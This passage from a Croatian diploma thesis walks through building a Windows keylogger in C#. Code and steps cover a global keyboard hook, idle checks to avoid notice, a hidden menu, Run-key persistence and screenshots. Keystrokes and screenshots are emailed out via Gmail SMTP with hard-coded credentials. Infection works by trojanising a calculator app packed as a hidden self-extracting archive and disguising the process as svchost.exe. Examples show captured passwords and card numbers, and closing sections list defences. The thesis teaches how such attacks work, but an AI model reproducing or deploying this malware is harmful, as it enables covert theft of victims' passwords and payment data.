Sve osnovne funkcije praćenja korisnikovih akcija izvršavaju se u jednakim vremenskim<br />

intervalima.<br />

Osnova programskog koda koji omogućava intervalno izvršavanje su metode Timer() i<br />

OnTimedEvent() koje efektivno predstavljaju štopericu i dogaĎaj koji će se intervalno<br />

izvršavati.<br />

private static System.Timers.Timer aTimer;<br />

GC.KeepAlive(aTimer);<br />

aTimer = new System.Timers.Timer(10000);<br />

aTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);<br />

aTimer.Enabled = true;<br />

Poviše prvo stvaramo štopericu, odnosno Timer objekt kojega štitimo od garbage collectora<br />

metodom GC.KeepAlive(). Zatim specificiramo duljinu intervala u milisekundama i dogaĎaj.<br />

Slijedi metoda OnTimedEvent() unutar koje vršimo provjeru mirovanja (bit će kasnije<br />

opisano) popraćenu pozivima ţeljenih funkcija.<br />

5.2. Klasa Hook.cs<br />

Osnova svakog keyloggera je mogućnost detekcije pritisnutih tipki. Ta funkcionalnost je u<br />

ovom primjeru ostvarena unutar zasebne klase Hook.cs. Osluškivanje dogaĎaja s tipkovnice je<br />

izvedeno korištenjem globalne udice. Osnova korištene metode je API funkcija<br />

SetWindowsHookEx( ) [9] [10] [11].<br />

Slijedi pregled glavnih dijelova klase Hook.cs (potpuni programski kod se moţe vidjeti na<br />

priloţenom CD-u).<br />

Započinje se deklaracijom korištenih metoda koje se nalaze unutar User32.dll datoteke. Za<br />

njihovu deklaraciju se koristi atribut DllImport().<br />

17


Sljedeće metode predstavljaju okosnicu u radu keyloggera.<br />

- SetWindowsHookEx – omogućava instalaciju aplikacijski definirane hook procedure<br />

unutar hook lanca<br />

- UnhookWindowsHookEx – uklanja hook proceduru iz hook lanca i time oslobaĎa<br />

sistemske resurse pri zatvaranju keylogger aplikacije<br />

- CallNextHookEx – poziva sljedeću udicu u nizu tako da ostale aplikacije koje se koriste<br />

udicama mogu ispravno raditi (npr. Windows shortcuts)<br />

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]<br />

public static extern IntPtr SetWindowsHookEx(<br />

int idHook,<br />

HookDel lpfn,<br />

IntPtr hMod,<br />

uint dwThreadId);<br />

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]<br />

[return: MarshalAs(UnmanagedType.Bool)]<br />

public static extern bool UnhookWindowsHookEx(<br />

IntPtr hhk);<br />

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]<br />

public static extern IntPtr CallNextHookEx(<br />

IntPtr hhk,<br />

int nCode,<br />

IntPtr<br />

wParam,<br />

IntPtr lParam);<br />

Svaka tipka na tipkovnici kada se pritisne generira tzv. scan code. Driver od tipkovnice<br />

prevodi, odnosno mapira svaki scan code u virtual-key code, odnosno broj koji jednoznačno<br />

predstavlja svaku pritisnutu tipku.<br />

Slijedi deklaracija enumeration konstante gdje se simboličnom nazivu pritisnute tipke<br />

pridodjeljuje odgovarajuća heksadecimalna vrijednost.<br />

public enum VK<br />

{<br />

VK_BACK = 0X08, //Backspace<br />

18


}<br />

VK_RETURN = 0X0D, //Enter<br />

VK_CAPITAL = 0X14, //Caps-Lock<br />

. . . .<br />

VK_0 = 0X30,<br />

VK_1 = 0X31,<br />

VK_2 = 0X32,<br />

VK_3 = 0X33,<br />

. . . .<br />

VK_A = 0X41,<br />

VK_B = 0X42,<br />

VK_C = 0X43,<br />

VK_D = 0X44,<br />

. . . .<br />

VK_NUMPAD0 = 0X60,<br />

VK_NUMPAD1 = 0X61,<br />

VK_NUMPAD2 = 0X62,<br />

VK_NUMPAD3 = 0X63,<br />

. . . .<br />

Funkcija CreateHook stvara low level windows hook koristeći već opisanu API metodu<br />

SetWindowsHookEx() kojoj se prosljeĎuju redom sljedeći parametri:<br />

- prvi parametar označava vrstu hook procedure koja se instalira (WH_KEYBOARD_LL)<br />

- drugi parametar je pointer na hook proceduru<br />

- treći parametar je handle modula trenutnog vlasnika hook procedure, a dobavljamo ga pozivom<br />

funkcije GetModuleHandle()<br />

- četvrti parametar je identifikator niti s kojom ţelimo asocirati hook proceduru, a postavljanjem<br />

vrijednosti na nulu hook proceduru asociramo sa svim postojećim nitima.<br />

public static void CreateHook(KeyHandler _kh)<br />

{<br />

}<br />

Process _this = Process.GetCurrentProcess();<br />

ProcessModule mod = _this.MainModule;<br />

hd = HookFunc;<br />

kh = _kh;<br />

hhk = API.SetWindowsHookEx(13, hd, API.GetModuleHandle(mod.ModuleName), 0);<br />

//13 - označava da se radi o WH_KEYBOARD_LL low-level hook-u<br />

19


Slijedi definicija funkcije kojom uklanjamo hook proceduru iz hook lanca. To se postiţe<br />

prosljeĎivanjem handlea hook procedure koju uklanjamo API funkciji<br />

UnhookWindowsHookEx():<br />

public static bool DestroyHook()<br />

{<br />

}<br />

return API.UnhookWindowsHookEx(hhk);<br />

public void OnTimedEvent(object source, ElapsedEventArgs e)<br />

{<br />

}<br />

if (GetIdleTime() > 10000)<br />

{<br />

}<br />

fastFlashWindow();<br />

//printScreen();<br />

//sendMail();<br />

Sve akcije koje se izvode intervalno vide se upravo unutar ove metode, a dodavanje novih se<br />

trivijalno svodi na dodavanje poziva pripadajućih funkcija.<br />

5.3. Detekcija prisutnosti korisnika<br />

Tijekom izvršavanja nekih od radnji keyloggera (slanje e-maila, slikanje ekrana, brzi prikaz<br />

log datoteke...) postoji mogućnost trenutnog usporavanja sustava što korisniku moţe biti<br />

sumnjivo. Da bi se izbjegla takva situacija implementirana je stalna provjera prisutnosti<br />

korisnika za računalom.<br />

Funkcije slanja e-maila i slikanja zaslona su automatizirane, odnosno izvršavaju se unutar<br />

stalnih vremenskih intervala, stoga se pri svakom intervalu postavlja uvjet "mirovanja" (eng.<br />

idle) kao uvjet za daljnje izvršavanje tih funkcija. Provjerom mirovanja se osigurava da<br />

korisnik trenutno ne tipka na tipkovnici niti koristi miša. Time moţemo s velikom sigurnošću<br />

ustvrditi da korisnik nije za računalom ili bar ne gleda u zaslon istog.<br />

20


Programski kod započinje dodavanjem User32.dll datoteke i metode GetLastInputInfo kojoj<br />

se prosljeĎuje ispod definirana struktura LASTINPUTINFO.<br />

[DllImport("User32.dll")]<br />

private static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);<br />

internal struct LASTINPUTINFO<br />

{<br />

}<br />

public uint cbSize;<br />

public uint dwTime;<br />

Slijedi definicija funkcije GetIdleTime() koja računa vrijeme mirovanja i vraća ga kao<br />

povratnu vrijednost. Vrijeme mirovanja se dobije oduzimanjem vremenske oznake posljednje<br />

korisnikove akcije od trenutne vremenske oznake.<br />

public static uint GetIdleTime()<br />

{<br />

}<br />

LASTINPUTINFO lastInPut = new LASTINPUTINFO();<br />

lastInPut.cbSize = (uint)System.Runtime.InteropServices<br />

GetLastInputInfo(ref lastInPut);<br />

.Marshal.SizeOf(lastInPut);<br />

return ( (uint)Environment.TickCount - lastInPut.dwTime);<br />

5.4. Skriveni izbornik<br />

Pri pokretanju keylogger ne odaje svoju prisutnost korisniku. MeĎutim, pri unosu ključne<br />

riječi ("fesb") glavni izbornik keyloggera se prikazuje (Slika 5.1.).<br />

Iako keylogger samostalno vrši sve radnje u pozadini, unutar skrivenog izbornika su<br />

ponuĎene opcije za ručno manipuliranje funkcionalnostima.<br />

- Pokaţi log: klik mišem na ovo dugme u textbox kontroli prikaţe trenutni sadrţaj log<br />

datoteke, odnosno do sada "uhvaćeni" tekst<br />

- Pošalji log: šalje e-mail s log datotekom i uslikanim zaslonom (screenshot)<br />

- Sakrij prozor: ponovno skriva izbornik od korisnika<br />

- Bljesni!: prikazuje log datoteku unutar novog prozora u donjem desnom uglu ekrana<br />

- Uslikaj!: uslika trenutno stanje na ekranu (screenshot)<br />

- Ukloni reg. key: uklanja startup ključ iz registra<br />

21


Slika 5.1. Skriveni izbornik keylogger aplikacije<br />

5.5. Dodavanje u startup modifikacijom registra<br />

Da bi se keylogger pokretao pri svakom paljenju računala potrebno je izvršiti modifikacije<br />

unutar registra. Točnije, potrebno je dodati odgovarajući unos unutar Run lokacije u registru<br />

(Slika 5.2.).<br />

Sljedećim isječkom programskog koda prikazana je potrebna modifikacija.<br />

String lokacija = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";<br />

RegistryKey rkApp = Registry.CurrentUser.OpenSubKey(lokacija, true);<br />

if (rkApp.GetValue("Keylogger") == null)<br />

{<br />

}<br />

rkApp.SetValue("Keylogger", Application.ExecutablePath.ToString());<br />

Opis programskog koda:<br />

Unutar varijable lokacija sprema se putanja do mjesta u registru kojeg treba modificirati, a<br />

zatim se ta lokacija otvara za upis. Provjerava se da li je modifikacija već napravljena,<br />

odnosno da li je vrijednost "Keylogger" unesena i ovisno o tome nastavlja se s daljnjom<br />

modifikacijom.<br />

22


5.6. Screenshot<br />

Slika 5.2. Sadržaj run registra nakon modifikacije<br />

Ovaj keylogger ima mogućnost hvatanja stanja na ekranu u obliku slike u jpeg formatu. Ta<br />

funkcionalnost je omogućena funkcijom printScreen() čije se izvoĎenje moţe pozvati s bilo<br />

kojeg mjesta u programskom kodu.<br />

public void printScreen()<br />

{<br />

}<br />

Bitmap printscreen = new Bitmap(Screen.PrimaryScreen.Bounds.Width,<br />

Screen.PrimaryScreen.Bounds.Height);<br />

Graphics graphics = Graphics.FromImage(printscreen as Image);<br />

graphics.CopyFromScreen(0, 0, 0, 0, printscreen.Size);<br />

printscreen.Save("printscreen.jpg", ImageFormat.Jpeg);<br />

Stvara se novi bitmap objekt printscreen veličine zaslona, što u biti predstavlja sliku. Nadalje,<br />

od te slike se stvara graphic objekt graphics. Tek tada se "hvata" sadrţaj ekrana i sprema u<br />

obliku jpeg slike imena "printscreen.jpg".<br />

5.7. Spremanje podataka<br />

Praćenje pritisnutih tipki se naposljetku svodi na spremanje podataka u log datoteku. Log<br />

datoteka moţe biti enkriptirana te sakrivena bilo gdje na disku zaraţenog računala. U ovom<br />

23


slučaju podatke spremamo unutar neenkriptirane tekstualne datoteke log.tmp koja se nalazi<br />

gdje i izvršna datoteka keyloggera.<br />

Slijedi isječak programskog koda koji omogućava spremanje pritisnutih tipki s tipkovnice<br />

unutar tekstualne datoteke (log datoteka). Pri svakom pokretanju keylogger aplikacije<br />

potrebno je izvršiti provjeru da li log datoteka postoji na specificiranom mjestu u disku.<br />

Ako datoteka ne postoji, potrebno ju je stvoriti. Provjeru vršimo koristeći metodu<br />

System.IO.File.Exists() koja provjerava postojanje datoteke, a metodom File.Create()<br />

stvaramo istu.<br />

if (System.IO.File.Exists("log.tmp") == false)<br />

{<br />

}<br />

File.Create("log.tmp");<br />

Kako je već opisano, svaki pritisak tipke na tipkovnici generira jedinstveni virtualni kod.<br />

Vrijednost virtualnog koda uvjetuje koji je znak korisnik utipkao, odnosno koji će se znak<br />

upisati u log datoteku. Varijabla temp označava trenutno utipkani znak koji se sprema. Slijedi<br />

switch naredba koja u ovisnosti o virtualnom kodu varijabli temp dodjeljuje odreĎenu<br />

vrijednost.<br />

switch (vk)<br />

{<br />

}<br />

case Hook.VK.VK_NUMPAD0: temp = "0";<br />

break;<br />

case Hook.VK.VK_NUMPAD1: temp = "1";<br />

break;<br />

. . .<br />

case Hook.VK.VK_Q: temp = "q";<br />

break;<br />

case Hook.VK.VK_W: temp = "w";<br />

break;<br />

case Hook.VK.VK_E: temp = "e";<br />

break;<br />

. . .<br />

default: break;<br />

24


Samo spremanje u log datoteku se vrši prosljeĎivanjem varijable temp metodi writeToFile -<br />

writeToFile(temp). Definicija metode writeToFile() je dana sljedećim programskim kodom:<br />

public void writeToFile(String writing)<br />

{<br />

}<br />

TextReader tr = new StreamReader("log.tmp");<br />

String tmp = tr.ReadToEnd();<br />

tr.Close();<br />

TextWriter tw = new StreamWriter("log.tmp");<br />

tw.Write(tmp + writing);<br />

tw.Close();<br />

Datoteku log.tmp je potrebno prvo pročitati, to se izvodi pomoću streamreadera i pozivom<br />

metode ReadToEnd(). Sadrţaj log datoteke se sprema unutar varijable tmp. Zatim slijedi<br />

pisanje u datoteku log.tmp, a to se izvodi pomoću streamwritera i pozivom metode Write(). U<br />

log datoteku se ovog puta upisuje cijeli trenutni sadrţaj iste (tmp) uz dodatak utipkanog znaka<br />

(varijabla temp koja je prosljeĎena metodi).<br />

5.8. Slanje log datoteke e-mailom<br />

Slanje log datoteke i slike zaslona moţe se vršiti na više načina od kojih su najčešće: slanje na<br />

FTP server i slanje e-mailom. U ovoj keylogger aplikaciji koristit ćemo e-mail metodu. U tu<br />

svrhu pišemo zasebnu funkciju sendMail() koja vrši slanje maila. Funkcija se moţe pozivati<br />

sa bilo kojeg mjesta u programskom kodu.<br />

public void sendMail()<br />

{<br />

TextReader tr = new StreamReader("log.tmp");<br />

String subjectTxt = tr.ReadToEnd();<br />

MailMessage message = new MailMessage("keylog.fesb@gmail.com",<br />

"keylog.fesb@gmail.com", "Log file", subjectTxt);<br />

SmtpClient emailClient = new SmtpClient("smtp.gmail.com", 587);<br />

System.Net.NetworkCredential SMTPUserInfo = new<br />

System.Net.NetworkCredential("keylog.fesb", "keylogfesbpass");<br />

System.Net.Mail.Attachment attachment;<br />

attachment = new System.Net.Mail.Attachment("printscreen.jpg");<br />

message.Attachments.Add(attachment);<br />

25


}<br />

emailClient.UseDefaultCredentials = false;<br />

emailClient.Credentials = SMTPUserInfo;<br />

emailClient.EnableSsl = true;<br />

emailClient.Send(message);<br />

tr.Close();<br />

Opis programskog koda:<br />

Prvo otvaramo log datoteku pomoću metode StreamReader te njen sadrţaj stavljamo u<br />

varijablu subjectTxt. Nadalje, pomoću metode MailMessage unosimo e-mail adresu<br />

pošiljatelja i primatelja, a u našem slučaju to je ista adresa - keylog.fesb@gmail.com<br />

Koristimo Gmail servis za slanje e-maila stoga slijedi unos odgovarajućih podataka<br />

korištenjem metoda System.Net.Mail.SmtpClient() i System.Net.NetworkCredential():<br />

smtp server: smtp.gmail.com<br />

port: 587<br />

korisničko ime: keylog.fesb<br />

lozinka: keylogfesbpass<br />

Screenshot sliku postavljamo kao privitak (eng. attachment), a to postiţemo metodom<br />

System.Net.Mail.Attachment() prosljeĎujući joj ime slike – "printscreen.jpg". Završno slanje<br />

e-maila vrši emailClient.Send() metoda.<br />

5.9. Brzi prikaz log datoteke<br />

Kako je već opisano jedna od metoda dohvata pritisnutih tipki je metoda optičkog nadziranja.<br />

Ta metoda nije česta zbog očitih fizičkih ograničenja ali njenim predstavljanjem u ovom<br />

diplomskom radu pokušat će se dočarati mnogobrojnost mogućih metoda koja je ograničena<br />

samo domišljatošću njihovih tvoraca.<br />

Pretpostavka je da se vrši nekakav optički nadzor nad računalom. Kako je već opisano, vrši se<br />

detekcija prisutnosti korisnika i kada se korisnik udalji od računala cilj je na kratko prikazati<br />

njegove unose, odnosno log file. Ovdje se ţeli iskoristiti činjenica da brzi prikaz log datoteke<br />

(~50ms) nije vidljiv korisniku, ali se moţe detektirati korištenom nadzornom opremom (npr.<br />

kamera s teleobjektivom).<br />

26


Prvo je potrebno definirati novu formu unutar koje će biti tekst log datoteke:<br />

public Form2()<br />

{<br />

}<br />

InitializeComponent();<br />

box = textBox1;<br />

TextReader tr = new StreamReader("log.tmp");<br />

string loggedText = tr.ReadToEnd();<br />

tr.Close();<br />

textBox1.Text = loggedText;<br />

Po svojoj inicijalizaciji forma korištenjem streamreadera otvara log datoteku "log.tmp" i čita<br />

njen sadrţaj funkcijom ReadToEnd(). Na kraju se pročitani tekst loggedText ispisuje unutar<br />

textBox kontrole.<br />

Slijedi programski kod funkcije fastFlashWindow() koja omogućava kratki prikaz log<br />

datoteke:<br />

public void fastFlashWindow()<br />

{<br />

}<br />

Form2 Form2 = new Form2();<br />

Form2.StartPosition = FormStartPosition.Manual;<br />

Rectangle workingArea = SystemInformation.WorkingArea;<br />

Point nLocation = new Point(workingArea.Width - Form2.Width,<br />

workingArea.Height - Form2.Height);<br />

Form2.Location = nLocation;<br />

Form2.ShowInTaskbar = false;<br />

Form2.Visible = true;<br />

Form2.Show();<br />

form = Form2;<br />

form.box.Select(0, 0);<br />

System.Timers.Timer aTimer = new System.Timers.Timer();<br />

aTimer.Elapsed += new<br />

System.Timers.ElapsedEventHandler(aTimer_Elapsed);<br />

aTimer.Interval = 75;<br />

aTimer.Enabled = true;<br />

27


Opis programskog koda:<br />

Tekst će biti prikazan unutar novostvorene forme Form2. Pozicija nove forme će uvijek biti u<br />

donjem desnom uglu radne površine. Ta pozicija (točka) se računa oduzimanjem širine i<br />

visine forme od širine i visine radne površine te smješta unutar varijable nLocation. Nova<br />

pozicija forme se vrši postavljanjem atributa Location na novu vrijednost nLocation. Zatim se<br />

stvara nova štoperica aTimer koja nakon specificiranog vremena (u milisekundama) skriva<br />

formu. Nakon izvršavanja ovog koda dobije se ţeljeni rezultat, odnosno kratak prikaz<br />

(bljesak) nove forme unutar koje se nalazi sadrţaj log datoteke.<br />

5.10. Infekcija keyloggerom<br />

Osnova svakog keyloggera je potajan rad. S time na umu koriste se razne metode potajne<br />

infekcije ţrtvinog računala.<br />

Naša metoda koristi zasebnu legitimnu aplikaciju čijim se pokretanjem potajno vrši kopiranje<br />

keylogger aplikacije na disk i njeno dodavanje u startup registar što pak znači pokretanje<br />

keyloggera sa svakim sljedećim paljenjem računala. U ovom primjeru korištena je open<br />

source aplikacija PC_Calculator (Slika 5.3.) koja pruţa sve funkcionalnosti jednostavnog<br />

kalkulatora [12].<br />

Slika 5.3. Sučelje aplikacije PC_Calculator<br />

28


Dakle, potrebno je modificirati programski kod aplikacije PC_Calculator tako da pri<br />

pokretanju izvrši kopiranje keyloggera na računalo i modifikaciju registra. Sljedeći isječak<br />

programskog koda vrši potrebne radnje:<br />

String lokacija = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";<br />

RegistryKey rkApp = Registry.CurrentUser.OpenSubKey(lokacija, true);<br />

public frmCalculator()<br />

{<br />

. . .<br />

InitializeComponent();<br />

if (System.IO.File.Exists(@"D:\test\MojKeylogger.exe") == false)<br />

{<br />

File.Copy("MojKeylogger.exe", @"D:\test\MojKeylogger.exe");<br />

}<br />

if (rkApp.GetValue("Keylogger") == null)<br />

{<br />

}<br />

rkApp.SetValue("Keylogger", @"D:\test\MojKeylogger.exe");<br />

Opis programskog koda:<br />

Lokacija Run unutar registra se otvara i poistovjećuje s varijablom rkApp. Slijedi kopiranje<br />

keylogger aplikacije na disk pomoću metode File.Copy(). Zatim se vrši potrebna modifikacija<br />

registra pozivom SetValue() metode.<br />

Ova metoda infekcije podrazumijeva da se PC_Calculator i keylogger aplikacija nalaze na<br />

istoj memorijskoj lokaciji. Kako se svaka aplikacija nalazi unutar svoje izvršne datoteke<br />

korisnik moţe opaziti zloćudnu narav aplikacije. Cilj je stoga obe aplikacije smjestiti unutar<br />

jedne izvršne datoteke čijim se pokretanjem od strane korisnika neprimjetno izvršava poviše<br />

opisani proces infekcije, odnosno vidljivo pokretanje kalkulatora i pozadinsko kopiranje<br />

keyloggera i modifikacija registra. U tu svrhu koristi se aplikacija WinRAR za stvaranje<br />

samoraspakiravajuće SFX arhive (eng. self-extracting archive).<br />

Na Slici 5.4. prikazan je postupak stvaranja SFX arhive:<br />

- Korak 1: Specificira se ime konačne datoteke i označava stavka Create SFX archive<br />

- Korak 2: Pod stavkom Advanced pristupa se SFX opcijama (SFX options)<br />

- Korak 3: Specificira se koja će aplikacija unutar arhive biti pokrenuta<br />

- Korak 4: Označava se opcija Unpack to temporary folder tako da sadrţaj arhive pri<br />

njenom pokretanju ne ostane na lokalnom disku. TakoĎer se označava opcija Hide all<br />

tako da cijeli proces pokretanja arhive bude skriven od korisnika.<br />

29


Slika 5.4. Postupak stvaranja SFX arhive (koraci 1-4)<br />

Krajnji rezultat ovog postupka je izvršna datoteka imena PC_Calculator.exe čijim se<br />

otvaranjem pokreće kalkulator, a u pozadini vrši infekcija računala keyloggerom.<br />

5.11. Primjena keyloggera<br />

U ovom potpoglavlju bit će opisan način upotrebe keyloggera. Bit će prikazani svi koraci od<br />

hvatanja i spremanja pritisnutih tipki i slike radne površine do slanja podataka napadaču<br />

(mailom i brzim prikazom na ekranu). Nakon uspješne infekcije računala keylogger aplikacija<br />

će se pokretati pri svakom pokretanju sustava. Aplikacija nije vidljiva korisniku i njena<br />

prisutnost se moţe očitovati samo unutar Windows Task Managera gdje se nalazi kao jedan<br />

od niza pokrenutih procesa. Aplikaciji moţemo dati bilo koje ime da maskiramo njenu<br />

stvarnu narav, na primjer svchost.exe (Slika 5.4.). Ime našeg keyloggera je u testne svrhe<br />

MojKeylogger.exe.<br />

30


Slika 5.4. Vidljivost keylogger aplikacije unutar Task Managera<br />

U ovom trenutku aplikacija je spremna za samostalan rad. Sve što korisnik utipka na<br />

tipkovnici bit će registrirano i pohranjeno u log datoteku. Napadaču je cilj zabiljeţiti<br />

povjerljive podatke kao što su korisničko ime, lozinka, brojevi kreditnih kartica itd.<br />

Na Slikama 5.5. i 5.6. su prikazana dva scenarija u kojima korisnik unosi povjerljive podatke,<br />

a kao rezultat se dobije log datoteka s "uhvaćenim" podacima.<br />

- Scenarij 1: Korisnik pristupa svom Gmail korisničkom računu unoseći svoje korisničko<br />

ime i lozinku. Iako je lozinka pri unosu maskirana keylogger bez problema detektira<br />

lozinku i sprema je u log datoteku (Slika 5.5).<br />

Slika 5.5. Pristupanje internet servisu i rezultirajuća log datoteka<br />

- Scenarij 2: Korisnik vrši plaćanje preko interneta i unosi povjerljive podatke kao što su<br />

ime, prezime, broj kreditne kartice, CVV broj, adresa i broj telefona (Slika 5.6.). Kako<br />

je na korisnikovom računalu instaliran keylogger sve unesene informacije su<br />

zabiljeţene u log datoteci (Slika 5.7.).<br />

31


Slika 5.6. Korisnik unosi podatke pri Internet kupovini<br />

Slika 5.7. Log datoteka nakon korisnikovog unosa<br />

Nakon nekog vremenskog intervala (npr. svakih deset minuta) vrši se detekcija prisutnosti<br />

korisnika i slanje log datoteke e-mailom. TakoĎer, u slučaju odsutnosti korisnika vrši se brzi<br />

prikaz log datoteke na ekranu (Slika 5.8.).<br />

Slika 5.8. Brzi prikaz log datoteke u trajanju od 50ms<br />

32


Kako je već opisano šalje se e-mail i unutar njega se nalazi sadrţaj log datoteke i slika<br />

korisnikove radne površine (Slika 5.9.).<br />

Slika 5.9. E-mail poslan napadaču - sadržaj log datoteke<br />

i slika žrtvine radne površine<br />

33


6. ZAŠTITA OD KEYLOGGERA<br />

Anti-spyware<br />

Anti-spyware je software posebno napravljen za detekciju keyloggera (malware-a). Radi na<br />

principu skeniranja datoteka i usporeĎivanja s vlastitom bazom poznatog malware-a. Baza<br />

sadrţi programske karakteristike (eng. signature) svih poznatih zlonamjernih datoteka i<br />

kontinuirano se aţurira. Moţe se reći da je glavni uvjet za detekciju zlonamjerne datoteke<br />

postojanje njene programske karakteristike unutar baze podataka. Stoga, takvi programi nisu<br />

učinkoviti u borbi protiv keyloggera jer postoji znatan vremenski period izmeĎu pojavljivanja<br />

novog malware-a i rezultirajućeg aţuriranja baze novom programskom karakteristikom.<br />

Virtualna tipkovnica<br />

Najčešća mjera zaštite protiv keyloggera je korištenje virtualne tipkovnice koja se iscrtava na<br />

ekranu (Slika 6.1.). Umjesto pritiska tipke na stvarnoj tipkovnici korisnik mišem odabire znak<br />

s virtualne tipkovnice. Postoje različite implementacije ovakve zaštite uključujući "lebdjenje"<br />

iznad ţeljene tipke, nasumično mijenjanje rasporeda tipki, itd.<br />

Ovakvu vrstu zaštite je vrlo lako zaobići korištenjem "hvatanja" slike na zaslonu (eng.<br />

screenshot). Umjesto praćenja unosa utipkanih znakova napadač pri svakom kliku mišem<br />

hvata prostor oko kursora. Time napadač dobije sliku svakog znaka kojeg je korisnik odabrao.<br />

Password manageri<br />

Slika 6.1. Virtualna tipkovnica<br />

Umjesto unošenja lozinki i drugih povjerljivih podataka direktno u web formu, koristi se<br />

software koji automatski popunjava polja na formi točnim podacima.<br />

34


Zaštita takvim programima se lako moţe zaobići korištenjem keyloggera koji se smještaju<br />

unutar Internet preglednika (eng. browser). Na taj način keylogger moţe pročitati povjerljive<br />

podatke pri njihovom unosu u formu. Keyloggeri koji se smještaju unutar Internet preglednika<br />

zovu se man-in-the-browser malware i najčešće se maskiraju kao legitimni plug-in.<br />

Dinamika unosa znakova<br />

Dinamika unosa znakova promatra način na koji korisnik unosi znakove. Točnije, dinamika<br />

unosa mjeri dvije različite vrijednosti:<br />

- vrijeme zadrţavanja (eng. dwell time) - vrijednost koja označava vrijeme provedeno<br />

drţeći tipku pritisnutom<br />

- vrijeme izmjene (eng. flight time) - vrijednost koja označava vrijeme potrebno korisniku<br />

da pritisne sljedeću tipku<br />

Istraţivanje je pokazalo da svaki korisnik ima svoju jedinstvenu dinamiku unosa te da se ova<br />

metoda lako moţe koristiti pri identifikaciji. Ova metoda predstavlja dobar način zaštite s<br />

obzirom da većina keyloggera ne implementira njeno zaobilaţenje. MeĎutim, ovakav način<br />

zaštite je moguće zaobići korištenjem keyloggera koji osim praćenja unosa takoĎer prati i<br />

vrijeme zadrţavanja i vrijeme izmjene. Tada napadač, pretvarajući se da je legitiman korisnik,<br />

pri unosu podataka koristi jednaku dinamiku unosa kao i ţrtva.<br />

Jednokratne lozinke<br />

Primjena jednokratnih lozinki (eng. one time password) znači korištenje drugačije lozinke pri<br />

svakom sljedećem pristupanju sustavu. Korisnik dobiva trenutnu lozinku najčešće koristeći<br />

zasebni ureĎaj koji generira novu lozinku pri svakom upitu ili pak nakon nekog vremenskog<br />

intervala.<br />

Ovakav način zaštite teoretski uvijek blokira neovlašten pristup. Ako keylogger dohvati<br />

lozinku pri korisnikovom prijavljivanju napadač ne moţe iskoristiti tu lozinku za neovlašten<br />

pristup jer ista više ne vrijedi. MeĎutim, napadač moţe izvesti sljedeću vrstu napada: kada<br />

korisnik (ţrtva) pokuša ostvariti pristup svom računu keylogger unesenu jednokratnu lozinku<br />

odmah pošalje napadaču te zaustavi korisnikovu autentifikaciju bilo odugovlačenjem veze ili<br />

javljanjem greške javljajući korisniku da ponovi postupak. Istovremeno, napadač koristi<br />

primljenu lozinku i autentificira se kao ţrtva.<br />

35


Enkripcija unosa<br />

Enkripcija unosa znakova sa tipkovnice predstavlja najefektivniju metodu zaštite od<br />

keyloggera. Cilj ove metode je enkriptirati pritisnute znakove na nivou drivera tipkovnice. Na<br />

taj način znakovi se enkriptiraju pri samom unosu te bilo kakav pokušaj dohvata istih rezultira<br />

neupotrebljivim podacima. Dekripcija znakova se vrši unutar mreţnog sloja i prije njihovog<br />

ulaska u Internet preglednik (izbjegavanje man-in-the-middle napada).<br />

36


7. ZAKLJUČAK<br />

U okviru ovog diplomskog rada obraĎena je problematika narušavanja privatnosti i sigurnosti<br />

korisnika računalnih sustava. Kako teoretski tako i praktično predstavljen je slučaj napada<br />

keyloggerom, malicioznim softverom koji potajno prati korisnikove unose znakova. Uz opis<br />

vrsta keyloggera opisan je i sam princip njihovog rada, kao i osnovni programski mehanizam<br />

Windows Hooks koji omogućuje njihovu glavnu funkcionalnost - praćenje unosa znakova sa<br />

tipkovnice. Problem postojanja keyloggera nije zanemariv, to više što napadač sa samo<br />

osnovnim znanjem programiranja moţe napraviti keylogger koji je u stanju kompromitirati<br />

korisnikovu privatnost i sigurnost te dovesti do neţeljenih posljedica (npr. gubitak novca s<br />

bankovnog računa). U praktičnom dijelu ovog rada dan je postupak izrade keylogger<br />

aplikacije unutar koje su implementirane osnovne funkcionalnosti i metode napada.<br />

Budući da se ljudi sve više oslanjaju na računala u svakodnevnom ţivotu potrebno je biti<br />

svjestan postojanja ovakvog malicioznog <strong>softvera</strong> koji moţe napraviti materijalnu i<br />

emocionalnu štetu, te je preporučljivo poduzeti neke od mjera zaštite predstavljenih u ovom<br />

diplomskom radu.<br />

37


8. LITERATURA<br />

[1] Skupina autora: "Malware", s Interneta, http://en.wikipedia.org/wiki/Malware<br />

[2] Baloch, R.: "An Introduction To Keyloggers, RATS, And Malware", e-knjiga, 2011.<br />

[3] Seltzer L.: "The Growth of Malware: Up, Up, and Away", s Interneta,<br />

http://blogs.pcmag.com/securitywatch/2009/07/the_growth_of_malware_up_up_an.php<br />

[4] Skupina autora: "Bankarski zloćudni programi", CARNet<br />

[5] Aycock, J.: "Spyware and Adware (Advances in Information Security)", Springer, New<br />

York, 2010.<br />

[6] Skupina autora: "Keystroke logging", s Interneta,<br />

http://en.wikipedia.org/wiki/Keystroke_logging<br />

[7] Kelly, A.: "Cracking Passwords using Keyboard Acoustics and Language Modelling", s<br />

Interneta, http://www.inf.ed.ac.uk/publications/thesis/online/IM100855.pdf<br />

[8] Grebennikov N.: " Keyloggers: How they work and how to detect them", s Interneta,<br />

http://www.securelist.com/en/analysis?pubid=204791931<br />

[9] Skupina autora: "Hooks Overview", Microsoft, s Interneta,<br />

http://msdn.microsoft.com/en-us/library/ms644959<br />

[10] Skupina autora: "SetWindowsHookEx Function", Microsoft, s Interneta,<br />

http://msdn.microsoft.com/en-us/library/ms644990<br />

[11] Burrows, E.: "Low-level Windows API hooks from C# to stop unwanted keystrokes", s Interneta,<br />

http://www.codeproject.com/KB/system/CSLLKeyboard.aspx<br />

[12] PsychoCoder: "Basic Calculator in C#", s Interneta,<br />

http://www.dreamincode.net/forums/topic/32968-basic-calculator-in-c/<br />

38

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!